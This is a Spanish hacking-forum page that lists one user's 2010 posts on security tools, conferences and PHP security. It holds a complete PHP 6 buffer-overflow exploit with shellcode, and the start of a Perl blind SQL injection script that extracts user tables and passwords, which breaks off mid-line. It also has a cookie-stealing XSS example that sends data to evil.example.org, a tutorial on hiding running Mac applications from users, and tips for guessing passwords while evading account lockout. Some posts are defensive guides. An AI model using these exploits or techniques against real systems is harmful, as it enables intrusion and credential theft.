Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.


Mensajes - DeuSer

Páginas: [1] 2
1
Hacking / Listado de Conferencias de Seguridad Informática
« en: Agosto 28, 2010, 04:56:32 pm »
El siguiente listado no trata de organizar en modo de mayor importancia o sobre cual sea mejor que otra (por eso las organicé alfabéticamente).  Tan solo pone a disposición un completo compendio de eventos que no debemos pasar por alto, no solo por los papers que se liberan, sino por todos los demás materiales que quedan luego de este tipo de eventos (CTF, PPTS, Audios, Videos, Tools, Fotografías, etc). Y ni que decir de la posibilidad de conocer y reunir toda esa calidad humana que trabaja en estas áreas.

Por ahora comienzo con estos, sé que me faltan muchos más, por ello si conoces de otros eventos que estén relacionados con la seguridad de la información, ¡no dudes en enviarlos por medio de los comentarios, para ir sumando a la lista!

Fuente

3
Bugs y Exploits / X5S – Encuentra fallos XSS, LFI y RFI fácilmente
« en: Agosto 20, 2010, 12:05:25 pm »
X5S es una herramienta desarrollada por la empresa de seguridad Casaba, con la finalidad de ayudar a los desarrolladores web a encontrar vulnerabilidades o problemas de seguridad en sus aplicaciones.

Con X5S tendremos a la mando una cantidad de utilidades que nos permitirán agilizar el proceso de detección y manipulación de parámetros mal filtrados, causantes de la mayoría de problemas en las aplicaciones web, también nos permite automatizar pruebas para verificar si los campos de entrada o parámetros de nuestra aplicación son vulnerables a fallos como XSS,LFI, RFI.

Aunque X5S es una herramienta gratuita y de código abierto, desafortunadamente solo esta disponible para entornos Windows, pero si eres desarrollador web y te preocupa la seguridad de tus creaciones, no dudes en bajar testar tu código con ella.

Descargar

Mas Información:
Pagina Oficial de X5S
Documentación de X5S
Fuente

4
MAC OSX / Ocultar procesos en background (parte II de II)
« en: Agosto 10, 2010, 01:58:25 pm »
En el post anterior se ha hablado como un atacante puede ocultar aplicaciones mediante el uso del background, ejecutando aplicaciones en un segundo plano. Sin embargo esta operativa puede ser engañosa para un usuario medio, con capacidades limitadas, ya que la aplicación ejecutada no aparece reflejada en ningún elemento del entorno gráfico del sistema. De este modo, no se observa ningún indicio de ello en la barra de aplicación de Mac o en la utilidad “Forzar salida”.

Siguiendo lo expuesto en la entrada anterior, se va a exponer en ésta la posibilidad de ejecutar aplicaciones en segundo plano desde una consola de forma sencilla. Un ejemplo de ello podría ser la generación de un script de instalación de un programa que incorporase la ejecución de algún programa en segundo plano. Para los que no son usuarios de sistemas basados en Unix se explica el procedimiento. Este, como puede apreciarse, es bastante sencillo:

Simplemente añadiendo un & al final de la ejecución de la línea de comandos, la aplicación se ejecutará en segundo plano. Tras lo anterior, la consola devolverá el PID del programa correspondiente.


Enlazando también con lo expuesto en el primer post de la serie, se va analizar cómo identificar la presencia de programas que se están ejecutando en segundo plano, y que por lo tanto, no se pueden visualizar en primera instancia por parte del usuario.

Para ello seguiremos el proceso que a continuación se describe. En primer lugar será necesario abrir una sesión a través de la consola. Tras lo anterior es posible hacer uso de algunos comandos que se describen a continuación:

Comando top

Permite identificar aquellos programas que están consumiendo más recursos del equipo. Puede ser de especial utilidad cuando se detecta un rendimiento excesivamente lento de éste.
Como ya se veía en el primer post de esta serie, el programa VLC se ejecutaba en modo gráfico y en segundo plano. A pesar de encontrarse en ejecución, sin embargo no había constancia en los distintos elementos de la interfaz gráfica de que esto estaba ocurriendo. Frente a lo anterior tal y como muestra la siguiente imagen, haciendo uso del comando top el programa es identificado. Adicionalmente, su ejecución en segundo plano queda indicada con la aparición del asterisco en la línea donde se muestra también el consumo de recursos que VLC está realizando.

Comando ps aux. Es otra de las alternativas que puede ayudar a detectar estos programas “ocultos”. La ejecución de este comando devuelve un listado de las aplicaciones que se están corriendo en el equipo en un determinado momento. Este listado incluye para cada aplicación su ubicación en disco, el PID y la hora de inicio de la misma. A continuación se presenta un ejemplo de lo anterior:


Este comando puede ser de especial utilidad cuando se desconoce el nombre de la aplicación cuyos datos de ejecución queremos consultar.

Comando kill. Tercer y último comando que se analiza en la presente entrada y que permite la parada y eliminación de un determinado proceso en el equipo. Básicamente las posibilidades operativas con este comando son dos. Parar en primera instancia y eliminar posteriormente o pasar de forma directa a la eliminación del mismo.

En el siguiente ejemplo se muestra la segunda de las opciones descritas:


Finalizamos aquí la segunda entrada de esta breve serie, indicando que el uso de los comandos descritos puede ser dirigido hacia labores de análisis forense en entornos Mac. Su uso es especialmente interesante para librar un primer nivel de ocultación, sin embargo si este fuese de mayor grado habría que acudir a la operativa con rootkits.

Espero que esta información os sea de utilidad.

Fuente

5
MAC OSX / Ocultar procesos en background (Parte I de II)
« en: Agosto 10, 2010, 01:54:11 pm »
La ocultación de procesos es el método por el que un atacante puede ocultar malware en una máquina. Hoy se muestra como se puede ocultar las aplicaciones a los usuarios no avanzados que utilicen el sistema de Apple.


Normalmente, un usuario medio cree en lo que ve, es decir, una aplicación está abierta si la está viendo en la pantalla o en el Dock. En este post se explica una manera de ocultar a la vista de los usuarios las aplicaciones. Para ello se utilizan unas nociones básicas de manejo en Mac.

Primero de todo, se debe comentar que las aplicaciones en los sistemas operativos de Mac son contenedores - o carpetas - que contienen distintos tipos de ficheros. Entre estos archivos, se encuentra llamado info.plist. Este fichero almacena en formato XML toda la información relativa a la configuración de cada una de las aplicaciones.

Para conseguir ocultar la apalicación, en este fichero se debe buscar la clave LSUIElement.


Si esta calve no se encuentrase, se debe buscar la clave NSMainNibFile, y, justo debajo de esta, se creará la susodicha clave LSUIElement.  A ésta se le debe asignar el valor 1 entre las etiquetas que identifican el valor como un atributo de tipo string. Una vez realizado este cambio, se debe guardar el fichero, y cambiar la aplicación de ruta. Esto es necesario porque los sistemas Mac almacenan en la caché los ficheros info.plist. Al cambiarlo de ruta refresca con la nueva clave introducida.

Ahora se ha de ejecutar el programa para probar que funcionan los cambios que se ha realizado.


También se puede observar como al ejecutar la aplicación no se puede forzar su salida de forma gráfica. No se encuentra la aplicación en forzar salida.

Como se puede apreciar en la imagen


no se tiene acceso al reporductor VLC en el Dock y tampoco se puede forzar su salida. Es más, en la barra superior, aún cuando se tiene seleccionada la aplicación del reproductor VLC, como se puede apreciar, no aparece como un programa en ejecución.

Un truco sencillo, que puede utilizarse con fines que afecten a la seguridad de los usuarios.

Fuente

6
Hacking / Shellcodes y Exploits en Win32
« en: Junio 29, 2010, 06:52:53 pm »

De nuevo Pepelux nos trae un documento, esta vez sobre creación de shellcodes y exploits en entornos win32.

En formato TXT.

Descargar

Fuente

7
Bugs y Exploits / Buffer Overflow en PHP 6 Dev
« en: Mayo 05, 2010, 08:54:30 pm »
Recientemente fue descubierto un fallo grave de seguridad en la versión de desarrollo de PHP 6, el lenguaje de programación mas utilizado para realizar aplicaciones web.

El problema se encuentra en la funcion str_transliterate() que permite “traducir” un texto de un lenguaje a otro, pero a su vez no valida adecuadamente los parámetros de entrada y permite la ejecución de código por medio de un buffer overflow.

Les dejo una PoC que explota esta vulnerabilidad sobre servidor Apache, corriendo en Windows XP SP3 y permite ejecutar la calculadora del sistema:

Citar
    # Title: PHP 6.0 Dev str_transliterate() 0Day Buffer Overflow Exploit
    # EDB-ID: 12051
    # CVE-ID: ()
    # OSVDB-ID: ()
    # Author: Pr0T3cT10n
    # Published: 2010-04-04
    # Verified: yes
    # Download Exploit Code
    # Download Vulnerable app

    <?php
    error_reporting(0);
    #####################################################################
    ## PHP 6.0 Dev str_transliterate() 0Day Buffer Overflow Exploit
    ## Tested on WIN XP HEB SP3, Apache, PHP 6.0 Dev
    ## Buffer Overflow
    ## Bug discovered by Pr0T3cT10n, <[email protected]>
    ## Exploited by TheLeader, Debug
    ## SP. Thanks: HDM
    ## http://www.nullbyte.org.il
    #####################################################################
    ## This code should exploits a buffer overflow in the str_transliterate() function to call WinExec and execute CALC
    ## Take a look, 'unicode.semantics' has to be on!
    ## php.ini > unicode.semantics = on
    #####################################################################
    if(ini_get_bool('unicode.semantics')) {
    $buff = str_repeat("u4141", 256);
    $eip = "u1445u10A9"; # 0x10A91445 JMP ESP @ php6ts.dll
    $nops = str_repeat("u9090", 20);

    # WinExec Calc XP SP3 HEB Unicode-encoded shellcode
    $shellcode = "u02EBu05EBuF9E8uFFFFu33FFu5BC0u4388u8315u11C3uBB53u250Du7C86uD3FFu6163u636Cu414E";

    # WinExec Calc XP SP3 EN Unicode-encoded shellcode (added by muts)
    # $shellcode = "u02EBu05EBuF9E8uFFFFu33FFu5BC0u4388u8315u11C3uBB53u23ADu7C86uD3FFu6163u636Cu414E";

    $exploit = $buff.$eip.$nops.$shellcode;
    str_transliterate(0, $exploit, 0);
    } else {
    exit("Error! 'unicode.semantics' has be on!rn");
    }

    function ini_get_bool($a) {
    $b = ini_get($a);
    switch (strtolower($b)) {
    case 'on':
    case 'yes':
    case 'true':
    return 'assert.active' !== $a;
    case 'stdout':
    case 'stderr':
    return 'display_errors' === $a;
    default:
    return (bool) (int) $b;
    }
    }
    ?>

Hay que recordar que esta versión de PHP aun esta en desarrollo, pero no deja de ser inquietante este tipo de problemas de carácter critico, en un lenguaje de programación tan extendido en la red, como lo es PHP.

Mas Información:
PHP 6.0 Dev str_transliterate() 0Day Buffer Overflow Exploit
Codigo en exploit-db.com

Fuente

8
Back-end / Seguridad en PHP
« en: Abril 27, 2010, 04:41:17 pm »

Escribir aplicaciones PHP no es extremadamente difícil. Pero muchos olvidan los aspectos de seguridad que deben ser tenidos en cuenta al implementar estas aplicaciones.

A veces no se piensa en el daño que puede sufrir un sitio web hasta que ya es demasiado tarde.

Se debe empezar a diseñar con cabeza y no ser meros robots codificando. Veamos un poco más a fondo las posibles amenazas y recomendaciones para hacer que nuestro sitio web sea un poco más seguro.

Inyección SQL

Este ataque se produce cuando un atacante ejecuta sentencias SQL en la base de datos del sitio web, insertando en un campo del formulario sentencias SQL dentro de otra sentencia SQL haciendo que se ejecute la sentencia invasora.

Se recomienda:

    * Filtrar los datos. Por ejemplo, si tenemos en nuestro formulario el campo username, y sabemos que los usuarios sólo pueden estar compuestos por letras y números, no se deben permitir caracteres como " ' " o " = " . O si se trata del campo e-mail, podemos utilizar expresiones regulares para validarlo, como preg_match('/^[email protected]+\..{2,3}$/',$_POST['email'])
    * Usar funciones que escapan caracteres especiales de una cadena para su uso en una sentencia SQL, como mysql_real_escape_string(), la cual coloca barras invertidas antes de los siguientes caracteres: \x00, \n, \r, \, ', " y \x1a. O addslashes(), (la directiva de PHP magic_quotes_gpc está activada por defecto, y básicamente ejecuta la función addslashes() en todos los datos GET, POST, y COOKIE. No se debe utilizar addslashes() en las cadenas que ya se han escapado con magic_quotes_gpc ya que se hará un doble escape).

XSS (Cross Site Scripting)

Las vulnerabilidades de XSS permiten ejecutar código de scripting en el contexto del sitio web:

    * Explotando la confianza que tiene un usuario de un sitio web. Puede que los usuarios no tengan un alto nivel de confianza en un sitio web, pero sí el navegador. Por ejemplo, cuando el navegador envía cookies en una petición.
    * Haciendo que los sitios web muestren datos externos. Como aplicaciones de mayor riesgo que incluyen foros, clientes de correo web, o contenido de RSS.
    * Cuando los datos externos no se filtran adecuadamente un atacante puede inyectar un contenido. Esto es tan peligroso como dejar que el atacante edite código en el servidor.

Un usuario que ejecute este código con JavaScript activado en su navegador será redireccionado a evil.example.org, y las cookies asociadas al sitio web serán incluidas en la consulta:

Citar
<script>document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie</script>

Se recomienda:

    * Filtrar todos los datos externos. El filtrado de datos es la práctica más importante que se puede adoptar. Al validar todos los datos externos a medida que entran y salen de la aplicación se mitigarán la mayoría de las preocupaciones del XSS.
    * Utilizar las funciones que tiene PHP que ayudan al filtrado. Pueden ser útiles htmlentities () que convierte caracteres a entidades HTML, strip_tags () que elimina las etiquetas HTML y PHP de una cadena y utf8_decode ().
    * Basarse en listas blancas. Supongamos que los datos no son válidos hasta que no se pruebe que lo son. Esto implica verificar la longitud y asegurar que sólo los caracteres válidos son permitidos. Por ejemplo, si se inserta el nombre y apellidos, se debe asegurar que sólo se permiten letras y espacios. Por ejemplo Berners-Lee se consideraría nula, pero esto se puede arreglar añadiendo este nombre a la lista blanca. Es mejor rechazar datos válidos que aceptar datos maliciosos.
    * Utilizar una convención de nomenclatura estricta. Una convención de nomenclatura puede ayudar a los desarrolladores a distinguir entre datos filtrados y sin filtrar.


CSRF (Cross Site Request Forgery)

Explota la confianza que tiene un sitio web en la identidad de un usuario.

Un ejemplo sería enviar los siguientes datos en la petición:

Citar
GET /buy.php?symbol=SCOX&quantity=1000 HTTP/1.1
Host: stocks.example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234
Se recomienda:

    * Utilizar POST en lugar de GET en los formularios. Sobre todo cuando se esté realizando una acción que involucra una compra.

    * Utilizar $_POST en lugar de confiar en register_globals. Utilizar el método POST es inútil si se confía en register_globals y se referencian variables como $symbol o $quantity. Lo mismo sucede si se utiliza $_REQUEST.

    * Generar un token único para cada petición y verificarlo posteriormente.

Directory Traversal

Este ataque se produce cuando se especifican rutas de ficheros como "../../../../file" en los datos del formulario y mediante un script se llama a estos ficheros. Proporcionando a un atacante la posibilidad de realizar cambios en el sistema de ficheros.

Si dentro del script de PHP se incluye: require $page . '.php'; Sabiendo que esta página se almacena en /home/someone/public_html/index.php, un atacante podría hacer index.php?page=../secret accediendo a /home/someone/secret.php

Se recomienda:

    * Tener un array de páginas válidas.

    * Comprobar que el archivo solicitado coincide con un formato concreto.


RFI (Remote File Inclusion)

Como su nombre indica, se produce cuando se incluye un archivo remoto.

Por ejemplo, si existe un archivo en la ruta http://example.com/malice.php y nuestro script se encuentra en http://site.com/index.php. Un atacante puede hacer esta petición: http://site.com/index.php?page=http://example.com/malice lo que provocará que el archivo se ejecute y escriba un nuevo fichero en disco. Pudiendo ser este fichero una shell que permita la ejecución de comandos.

O por ejemplo, asignar a page el valor http://example.com/malice.php? seguido de una consulta a base de datos.

Se recomienda:

    * No confiar en los datos que no provengan de nuestro sistema.

    * Se deben validar los datos que introduce el usuario.


Seguridad en sesiones

Las sesiones y las cookies pueden ser usadas para comprometer las cuentas de los usuarios. Cuando se almacena una cookie en el ordenador esta puede ser modificada por el usuario.

Se recomienda:


    * Cambiar el identificador de la sesión a menudo. Utilizando la función session_regenerate_id() se reduce la posibilidad de que el identificador sea interceptado.

    * Usando versiones PHP5.2 o posteriores se puede denegar al Javascript del navegador el acceso a la cookie activando el flag httponly.

Esta es una pequeña muestra de recomendaciones que hará que nuestra aplicación PHP sea algo más segura.


Fuente

9
Hacking / Ataques de Contraseñas [Password Guessing]
« en: Abril 08, 2010, 01:12:08 pm »

En una auditoría de sistemas o hacking ético siempre hay una fase en la que se ejecutan ataques contra las contraseñas para obtener credenciales válidas. Posiblemente esta sea la técnica de hacking más antigua.

Se denomina fuerza bruta cuando se desconoce uno de los dos datos necesarios para autenticarnos, ya sea el usuario o la contraseña y se prueban palabras hasta que se encuentra la válida.

Para llevar a cabo el análisis se pueden obtener los datos de dos orígenes distintos:

    * Diccionario: consiste en un archivo con una lista de las contraseñas más comunes, según un estudio de SkullSecurity.org sobre las contraseñas de rockyou.com, con las 500 palabras más comunes se obtiene un acierto aproximado del 19.82%, con tan solo 100, un 10,34%. El diccionario también puede estar generado a raíz de términos relacionados con lo auditado o utilizando palabras encontradas en sus páginas web u otras fuentes.
    * Rango: este método es más lento y no tiene sentido salvo se pretenda encontrar la contraseña de un usuario determinado sin importar demasiado el tiempo y el elevado número de intentos. Consiste en recorrer todas las posibilidades de unas determinadas características. Por ejemplo, todos los números del "000000" al "999999" o todas las combinaciones formadas entre "aaaaaa" a "zzzzzz". Mezclas más complejas como números, minúsculas, mayúsculas y caracteres especiales son posibles aunque poco prácticas en la realidad.

De igual forma se puede hacer sobre la contraseña o sobre el nombre de usuario, aunque los diccionarios cambiarían. La utilidad ncrack incluye algunas listas con nombres de usuario comunes.

Estos ataques se pueden dividir en dos tipos distintos: password guessing y password cracking.

PASSWORD GUESSING

Es el nombre que se utiliza al intento de obtener credenciales válidas tratando de adivinar contraseñas de un sistema remoto mediante fuerza bruta. Estos ataques son siempre eficaces aunque se enfrentan a los siguientes problemas:

    * Lentitud: al tratarse de un ataque contra equipos remotos que requiere comprobación mediante ensayo y error la ejecución es lenta, además en ocasiones es necesario añadir tiempos de espera para evitar otros problemas que se describen a continuación.
    * Registros: como se lanzan cientos de pruebas los registros del sistema se llenarán rápidamente con múltiples líneas revelando nuestras intenciones. Aunque no es un problema en si, ya que estamos autorizados a lanzar estas pruebas, se pueden generar otros relacionados, como por ejemplo que se llene un volumen de datos y el equipo deje de registrar eventos importantes o inutilice el servicio.
    * Medidas preventivas: para evitar este tipo intrusión, los sistemas y aplicaciones en ocasiones implementan algunas medidas preventivas, como por ejemplo el uso de captchas, la prolongación del tiempo hasta que informa de si es incorrecto o no,  la inhabilitación o filtrado en el cortafuegos de la dirección IP de origen o el bloqueo del usuario para que no pueda acceder.
    * Bloqueo de cuentas: merece especial atención esta medida, ya que una configuración y planificación incorrecta del ataque podría bloquear el acceso a todas las cuentas de la red, dejando completamente inaccesible los sistemas incluso para los administradores.

Para evitar este bloqueo de usuarios, antes de lanzar el análisis se tomarán los siguientes datos y precauciones para configurar la herramienta:

    * Número de intentos antes de bloqueo: con una cuenta de prueba se contarán el número de veces que permite introducir incorrectamente una contraseña antes de bloquear e inutilizar el usuario. El ataque se hará de ese número-1, para evitar la protección y no llegar nunca a bloquear a nadie.
    * Duración del bloqueo: en algunos productos si se produce un bloqueo este es desactivado automáticamente una vez ha transcurrido un tiempo. El bloqueo puede ser al usuario o a nuestra dirección IP. Se ha de averiguar si existe este tiempo y que duración tiene para considerarlo y añadir esperas entre los bancos de pruebas.
    * Duración antes de que no se considere un nuevo intento: en ocasiones si los intentos de acceso son cada mucho tiempo el contador de intentos no suma la nueva prueba fallida. Esto es útil para jugar nuevamente con los tiempos y añadir tiempos de retardo o probar otros usuarios y otras contraseñas mientras transcurre esa ventana de tiempo.
    * Prueba inversa: o user guessing, es un método de evitar bloqueos que funciona en la mayoría de los casos. Consiste en dada una contraseña de uso común, probar nombres de usuario que la hayan utilizado. El mismo proceso pero en orden inverso.
    * Reinicio del contador de bloqueo en caso de usuario correcto: se ha de contemplar la posibilidad de que el contador de intentos fallidos se reinicie si se introduce un usuario y contraseña. válido Si fuese así, se probará la fuerza bruta contra un usuario mientras se intercalan accesos válidos con uno de prueba o que ya se haya obtenido.

Para que el ataque este lo más optimizado posible a la plataforma es conveniente conocer la política de usuarios y contraseñas que sigue el servicio analizado. Los factores a controlar son:

    * Longitud mínima y máxima de la contraseña: de esta forma el diccionario tendrá que cumplir los requisitos.
    * Caracteres obligatorios: así se podrá determinar si es obligatorio algún tipo de combinación y si tiene sentido el uso de un diccionario o no.
    * ¿Permite que la contraseña sea igual al usuario?: ya que este tipo de ataque es habitual se debe conocer si se contempla esta posibilidad o no.

Algunas herramientas para este tipo de ataque son ncrack, thc-hydra o medusa. Esta última ha hecho una comparativa sobre las funcionalidades de Hydra y Medusa.

Herramientas y referencias

   1. CeWL, Custom word List Generator - http://www.digininja.org/projects/cewl.php
   2. Wyp - http://www.remote-exploit.org/?page_id=418
   3. Diccionarios - http://www.skullsecurity.org/wiki/index.php/Passwords
   4. ncrack - http://nmap.org/ncrack/man.html
   5. THC-Hydra - http://freeworld.thc.org/thc-hydra/
   6. Medusa - http://www.foofus.net/jmk/medusa/medusa.html

Fuente

10
E-Zines / Linux +. Nº4 - Abril 2010
« en: Abril 03, 2010, 05:45:36 pm »

- Informática forense y software libre
- Hachoir: Framework para manipular archivos binarios
- Maemo 5: La apuesta de Nokia por el Software Libre…
- Introducción al desarrollo de videojuegos con SDL.NET
- Endian Firewall: un cortafuegos para todos los públicos
- De Claroline a Mentor
- De vender cajas a preocuparse por el cliente

NOTA: Para poder descargarlo tienen que suscribirse al Newsletter

Descargar


11
No se alarmen por el tema, solamente vengo a compartir con ustedes un Documento publicado por INTECO para que los usuarios conozcan un poco más de cerca qué son los troyanos bancarios, qué vectores de infección explotan y cómo consiguen interceptar las credenciales de las entidades financieras.

En este documento nos comentan cómo se han depurado las técnicas de captura de usuarios y contraseñas y las de monitorización. Pequeños trucos en los que por ejemplo, avisan que observar la presencia del candado de seguridad en la página de la entidad bancaria y comprobar la autenticidad del certificado de seguridad son insuficientes

La lectura es recomendable para cualquier usuario de Internet, con el que aprenderá las técnicas que emplean los troyanos para monitorizar las visitas a páginas bancarias o cuáles son los métodos utilizados para el robo de sus credenciales, entre ellos:

    * Registro de teclas pulsadas
    * Captura de formularios
    * Capturas de pantalla y grabación de vídeo
    * Inyección de campos de formulario fraudulentos
    * Inyección de páginas fraudulentas
    * Redirección de páginas bancarias
    * Man-in-the-middle

Además podremos ver qué sucede con los datos robados y cómo se materializa finalmente el robo.

En definitiva un documento muy interesante para aquellos que no estén familiarizados con este tipo de troyanos y deseen conocerlos un poco más.

Descargar Documento

Fuente

12
Bugs y Exploits / SQLMap – Herramienta Automática De Inyección SQL
« en: Marzo 25, 2010, 07:55:21 pm »

sqlmap es una herramienta desarrollada en python para realizar inyección de código sql automáticamente. Su objetivo es detectar y aprovechar las vulnerabilidades de inyección SQL en aplicaciones web. Una vez que se detecta una o más inyecciones SQL en el host de destino, el usuario puede elegir entre una variedad de opciones entre ellas, enumerar los usuarios, los hashes de contraseñas, los privilegios, las bases de datos , O todo el volcado de tablas / columnas específicas del DBMS , ejecutar  su propio SQL SELECT, leer archivos específicos en el sistema de archivos y mucho más.

Características

  • Soporte completo para MySQL, Oracle, PostgreSQL y Microsoft SQL. Además de estos cuatro sistemas de gestión de bases de datos, sqlMap también puede identificar Microsoft Access, DB2, Informix, Sybase y Interbase.
  • Amplia base de datos de sistema de gestión de huellas dactilares basadas en inband error messages, analizar el banner, las funciones de salida de comparación y características específicas tales como MySQL comment injection. También es posible forzar a la base de datos de sistema de gestión de nombre si ya lo saben.
  • Soporte completo para 2 técnicas de SQL injection: blind SQL injection y inband SQL injection.


Aqui podemos ver la herramienta en ejecución enumerando la versión utilizada del MySQL:

Citar
# ./sqlmap.py -u "http://XXXXXXXXXXX/detail.php?code=XXXXX" -b
sqlmap/0.6.1 coded by Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>

  • starting at: 21:58:00
  • [21:58:01]
[WARNING] User-Agent parameter ‘User-Agent’ is not dynamic
back-end DBMS: MySQL >= 5.0.0
banner: ‘5.0.51b-community’
  • shutting down at: 21:58:07
Descargar [Windows] / Descargar [GNU/Linux]

  • Mas Informacion:
Pagina Oficial del SQLMap
Manual del SQLMap
Cambios de Version

13
Bugs y Exploits / Joomscan: Escanner De Vulnerabilidades Para Joomla
« en: Marzo 25, 2010, 07:53:09 pm »
Existen muchas herramientas como w3af, acunetixo el mismo nessus,  que nos ayudan en el proceso de encontrar vulnerabilidades en  aplicaciones web. Sin embargo la gente de sourceforge han creado un scanner el cual se especializa en portales Joomla (para quienes no saben que es Joomla hacer click aqui).sus características tenemos:

    * Hecho en Perl
    * Permite actualizarse.
    * Reporte completo.
    * Interfaz web y por consola.
    * detecta vulnerabilidades como: SQL injection, LFI, RFI, XSS entre otros.
    * Se basa en OWASP.

Para descargar el  script pueden hacer click aqui. Obviamente como es hecho en perl, necesitamos tener instalado perl y algunas librerías:

Citar
    apt-get install perl libwww-perl libtest-www-mechanize-perl

Para actualizarlo  hacemos lo siguiente

Citar
    chmod 777 joomscan.pl

    ./joomscan.pl update

Hacer un simple escaneo:

Citar
./joomscan.pl -u url_joomla

El resultado  que nos arroja es muy explicito, dice la vulnerabilidad, la descripción y si es vulnerable o no.

Creditos
Epsilon

14
Bugs y Exploits / ENYe-Spider V1.2
« en: Marzo 25, 2010, 07:48:58 pm »


Pepelux nos trae este programa para windows que analiza remotamente una web sacando la estructura de ficheros y directorios … vamos, lo que es un spider o web crawler.

Está diseñado para comprobar las vulnerabilidades de una web e incluye algunos extras: posibilidad de usar un servidor proxy, discrimina los ficheros que aceptan parámetros por GET o POST, permite escribir anotaciones sobre los escaneos, navegador web integrado y permite guardar los análisis en disco.

Descargar

15
Bugs y Exploits / The Blind Fox V0.5
« en: Marzo 25, 2010, 07:45:08 pm »
El amigo Login-Root creo una nueva herramienta desarrollada en perl para SQL pero en este caso para Blind SQL, la cual sirve para:

1- Chekeo AND 1=1 y AND 1=0 (verificacion de vuln.)
2- Information_Schema && MySQL.User
3- Tablas
4- Columnas
5- Extrae valores de las tablas (Opcional)

Código: Perl
  1. #!/usr/bin/perl
  2.  
  3. ####################################################################
  4. #                           -[+]- The Blind Fox v0.5 | By Login-Root -[+]-              ###
  5. ####################################################################
  6.  
  7. ####################################################################
  8. # [+] inf0:                                                                             ###
  9. ####################################################################
  10. # Busca:                                                                                ###
  11. # ======                                                                                ###
  12. #  - Checkeo AND 1=1 && AND 1=0                                                         ###      
  13. #  - Information_Schema && MySQL.User                                                   ###
  14. #  - Tablas                                                                             ###                                              
  15. #  - Columnas                                                                           ###
  16. #  - Extrae valores de las tablas (Opcional)                                            ###
  17. #                                                                                       ###
  18. #  ...y guarda todo en un archivo de texto.                                             ###
  19. #                                                                                       ###
  20. ###########################################################################################
  21.  
  22. ###########################################################################################
  23. # [+] Use:                                                                              ###
  24. ###########################################################################################
  25. # perl blindfox.pl [WEBSITE] [PATRON] [FILE] [-EXT]                                     ###
  26. #   [WEBSITE]: http://www.web.com/index.php?id=4875 (Poner un numero valido)            ###
  27. #   [PATRON]:  Patron que exista con AND 1=1 y que no exista con AND 1=0                ###
  28. #   [FILE]:    Archivo donde guardar informe                                            ###
  29. #   [-EXT]:    Para extraer nombres de usuarios, passwords, etc (Opcional)              ###
  30. ###########################################################################################
  31.  
  32. ###########################################################################################
  33. # [+] c0ntact:                                                                          ###
  34. ###########################################################################################
  35. # MSN:    [email protected]                                                          ###
  36. # Jabber: [email protected]                                                             ###
  37. # E-Mail: [email protected]                                                       ###
  38. ###########################################################################################
  39.  
  40. ###########################################################################################
  41. # [+] sh0utz:                                                                           ###
  42. ###########################################################################################
  43. # In memory of ka0x | Greetz: KSHA ; Psiconet ; Knet ; VenoM ; InyeXion                 ###
  44. # Many thanks to boER, who teach me a little of perl ;D                                 ###
  45. # VISIT: WWW.MITM.CL | WWW.REMOTEEXECUTION.ORG | WWW.DIOSDELARED.COM                    ###
  46. ###########################################################################################
  47.  
  48. use LWP::Simple;
  49.  
  50. if(!$ARGV[2])
  51.     {
  52.          print "
  53. -[+]- The Blind Fox v0.5 | By Login-Root -[+]-
  54. ==============================================";
  55.          print "
  56. Uso: perl $0 [WEBSITE] [PATRON] [FILE] [-EXT]
  57. ";
  58.          print "
  59. [WEBSITE]: http://www.web.com/index.php?id=4875 (Poner un numero valido)
  60. [PATRON]:  Patron que exista con AND 1=1 y que no exista con AND 1=0
  61. [FILE]:    Archivo donde guardar informe
  62. [-EXT]:    Para extraer nombres de usuarios, passwords, etc (Opcional)
  63. ";
  64.          exit (0);
  65.     }
  66.    
  67. sub end()
  68. {
  69.     print WEB "
  70.  
  71. [*EOF*]";
  72.     print "
  73. [+] Todo salvado correctamente en $ARGV[2]
  74. ";
  75.     print "## c0ded by Login-Root | 2008 ##
  76. ";
  77.     exit (0);
  78. }  
  79.  
  80.    
  81. @nombretabla=('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario',
  82.       'name','names','nombre','nombres','member','members','admin_table',
  83.       'miembro','miembros','membername','admins','administrator','sign',
  84.       'administrators','passwd','password','passwords','pass','Pass',
  85.       'tAdmin','tadmin','user_password','usuarios','user_passwords','user_name','user_names',
  86.       'member_password','mods','mod','moderators','moderator','user_email',
  87.       'user_emails','user_mail','user_mails','mail','emails','email','address',
  88.       'e-mail','emailaddress','correo','correos','phpbb_users','log','logins',
  89.       'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
  90.       'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador',
  91.       'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',
  92.       'sistema_usuario','sistema_password','contrasena','auth','key','senha','signin',
  93.       'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member','club_authors',
  94.       'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization',
  95.       'membros','utilizadores','staff','nuke_authors','accounts','account','accnts','signup',
  96.       'associated','accnt','customers','customer','membres','administrateur','utilisateur',
  97.       'tuser','tusers','utilisateurs','password','amministratore','god','God','authors','wp_users',
  98.       'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members',
  99.       'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');
  100.  
  101. @nombrecolumna=('admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email',
  102.           'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail',
  103.           'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author','user_login',
  104.           'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo',
  105.           'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
  106.           'user_pwd','u_pass','clave','usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username');
  107.  
  108. if ( $ARGV[0]   !~   /^http:/ )
  109.   {
  110.       $ARGV[0] = "http://" . $ARGV[0];
  111.   }
  112.  
  113. open(WEB,">>".$ARGV[2]) || die "
